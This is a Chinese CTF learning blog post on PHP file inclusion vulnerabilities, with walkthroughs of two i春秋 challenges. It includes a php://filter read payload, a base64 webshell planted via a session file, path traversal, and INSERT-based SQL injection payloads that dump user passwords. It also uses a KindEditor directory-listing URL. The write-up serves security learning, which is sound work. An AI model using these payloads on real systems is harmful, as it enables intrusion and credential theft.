CTF之萌新web学习(文件包含)

19 篇文章 2 订阅


在这里插入图片描述

文件包含漏洞

在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露、恶意代码的注入等。

相关函数

  1. include()
  2. include_once()
  3. require()
  4. require_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

远程文件包含

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

伪协议

php://filter
可以以base64的编码读取文件
?file=php://filter/read=convert.base64-encode/resource=index.php
php:input
php://input可以读取没有处理过的POST数据
利用条件:

  1. allow_url_include=On
  2. 对allow_url_fopen不作要求

利用

包含的时候,不一定要包含php文件(即非可执行php文件)类似于:

  1. a.phps
  2. a.xxx
  3. a.jpg

只要里头包含一块完整的php代码即可,例如一个a.txt文件,内容为

<?php phpinfo(); ?>

session

PHP默认生成的session文件往往存放在/tmp目录下,可以在包含session这里进行php语句
实验环境:i春秋web题:notebooke
在这里插入图片描述
进入界面很明显的文件包含,module为文件后缀,file为文件名,包含robots.txt试试
在这里插入图片描述
发现不存在,多试试发现
在这里插入图片描述
module只识别后缀为php的文件,并且发现有php1nFo.php ,说明很可能有session
注册用户名为

<?php $_GET[a](base64_decode($_GET[s]));?>

由于会过滤关键语句,使用base64编码的传输上去的
在这里插入图片描述
并且发现session的值为PHPSESSID:fr906uqdh424sm2gr7nddjfoq1
查看phpinfo()
在这里插入图片描述
这里是一个坑,session并不在这个文件夹,这题有个提示tips: 文件包含phpinfo是不是有新的发现
在这里插入图片描述
好了,接下来就是访问这个文件触发php函数,文件在
../../../tem/SESS/sess_fr906uqdh424sm2gr7nddjfoq1存在,最后引用语句cat flag

在这里插入图片描述

综合性例题

实验环境:i春秋web题:Blog
在这里插入图片描述
进入页面发现有注册,登录,先注册试试
在这里插入图片描述
发现有一个写入的功能
在这里插入图片描述
这里猜测是不是运用了数据库的insert功能
在这里插入图片描述
猜测有三列,但无法确认,由于insert还可以插入下一段,继续尝试
在这里插入图片描述
显示success,但发现博客内容没有显示,说明第一个和最后一个不可控,导致无法插入,只能更改第2,3个,继续尝试,闭合第三个title=111&content=1111','a'),( 'a' , database() , 'a
在这里插入图片描述
成功执行了database(),注入即可
title=111&content=1111','a'),( 'a' , (select group_concat(table_name) from information_schema.tables where table_schema=database()),'a

在这里插入图片描述
title=111&content=1111','a'),( 'a' , (select group_concat(column_name) from information_schema.columns where table_name='users') , 'a
在这里插入图片描述
title=111&content=1111','a'),( 'a' , (select group_concat(username) from users) , 'a

title=111&content=1111','a'),( 'a' , (select group_concat(password) from users) , 'a
在这里插入图片描述
成功爆出来了admin和password
在这里插入图片描述
md5解密为melody123,进入管理员
在这里插入图片描述
发现一个文件包含,尝试文件位置是可以找到flag的
在这里插入图片描述
base64解码即可
在这里插入图片描述
这里其实有个kindeditor漏洞,可以利用
在这里插入图片描述
KindEditor上传解析漏洞、列目录、内容漏洞
尝试利用漏洞
http://d22d4241757d46d8934e4f38ee42661837b5d72e845240ff.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=
在这里插入图片描述
发现可行,就可以列出所有文件名了
在这里插入图片描述

可参考文章:Web安全实战系列:文件包含漏洞

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值